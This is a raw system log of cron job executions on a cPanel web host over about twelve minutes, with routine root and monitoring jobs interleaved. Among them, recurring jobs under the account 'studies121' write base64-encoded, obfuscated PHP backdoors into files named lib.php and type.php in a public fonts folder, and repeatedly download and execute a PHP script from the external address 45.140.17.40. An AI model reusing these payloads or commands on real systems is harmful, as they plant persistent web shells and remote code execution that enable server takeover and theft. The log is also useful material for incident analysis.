Sep 11 11:59:01 ip-184-168-122-23 CROND[29494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 11:59:01 ip-184-168-122-23 CROND[29495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 11:59:01 ip-184-168-122-23 CROND[29496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:00:02 ip-184-168-122-23 CROND[29602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:00:02 ip-184-168-122-23 CROND[29604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:00:02 ip-184-168-122-23 CROND[29605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:00:02 ip-184-168-122-23 CROND[29606]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 12:00:02 ip-184-168-122-23 CROND[29611]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:00:02 ip-184-168-122-23 CROND[29608]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:00:02 ip-184-168-122-23 CROND[29613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:00:02 ip-184-168-122-23 CROND[29609]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 12:00:02 ip-184-168-122-23 CROND[29612]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:00:02 ip-184-168-122-23 CROND[29610]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep 11 12:01:01 ip-184-168-122-23 CROND[29813]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29813]: starting 0anacron
Sep 11 12:01:01 ip-184-168-122-23 CROND[29821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:01:01 ip-184-168-122-23 CROND[29823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:01:01 ip-184-168-122-23 CROND[29824]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 12:01:01 ip-184-168-122-23 CROND[29825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:01:01 ip-184-168-122-23 CROND[29826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29827]: finished 0anacron
Sep 11 12:02:01 ip-184-168-122-23 CROND[29919]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:02:01 ip-184-168-122-23 CROND[29921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:02:01 ip-184-168-122-23 CROND[29923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:02:01 ip-184-168-122-23 CROND[29924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:02:01 ip-184-168-122-23 CROND[29926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:03:01 ip-184-168-122-23 CROND[30036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:03:01 ip-184-168-122-23 CROND[30038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:03:01 ip-184-168-122-23 CROND[30039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:03:01 ip-184-168-122-23 CROND[30040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:04:01 ip-184-168-122-23 CROND[30131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:04:01 ip-184-168-122-23 CROND[30132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:04:01 ip-184-168-122-23 CROND[30136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:04:01 ip-184-168-122-23 CROND[30135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:04:01 ip-184-168-122-23 CROND[30134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:05:01 ip-184-168-122-23 CROND[30240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:05:01 ip-184-168-122-23 CROND[30242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:05:01 ip-184-168-122-23 CROND[30243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:05:01 ip-184-168-122-23 CROND[30244]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 12:05:01 ip-184-168-122-23 CROND[30245]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:05:01 ip-184-168-122-23 CROND[30246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:05:01 ip-184-168-122-23 CROND[30247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:06:01 ip-184-168-122-23 CROND[30439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:06:01 ip-184-168-122-23 CROND[30441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:06:01 ip-184-168-122-23 CROND[30442]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:06:01 ip-184-168-122-23 CROND[30443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:06:01 ip-184-168-122-23 CROND[30444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:07:01 ip-184-168-122-23 CROND[30547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:07:01 ip-184-168-122-23 CROND[30548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:07:01 ip-184-168-122-23 CROND[30549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:07:01 ip-184-168-122-23 CROND[30551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:08:01 ip-184-168-122-23 CROND[30644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:08:01 ip-184-168-122-23 CROND[30647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:08:01 ip-184-168-122-23 CROND[30648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:08:01 ip-184-168-122-23 CROND[30649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:08:01 ip-184-168-122-23 CROND[30646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:09:01 ip-184-168-122-23 CROND[30735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:09:01 ip-184-168-122-23 CROND[30736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:09:01 ip-184-168-122-23 CROND[30739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:09:01 ip-184-168-122-23 CROND[30740]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 12:09:01 ip-184-168-122-23 CROND[30741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:10:01 ip-184-168-122-23 CROND[30825]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 12:10:02 ip-184-168-122-23 CROND[30826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:10:02 ip-184-168-122-23 CROND[30836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:10:02 ip-184-168-122-23 CROND[30838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:10:02 ip-184-168-122-23 CROND[30839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:10:02 ip-184-168-122-23 CROND[30840]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:10:02 ip-184-168-122-23 CROND[30842]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:10:02 ip-184-168-122-23 CROND[30843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:11:01 ip-184-168-122-23 CROND[31042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
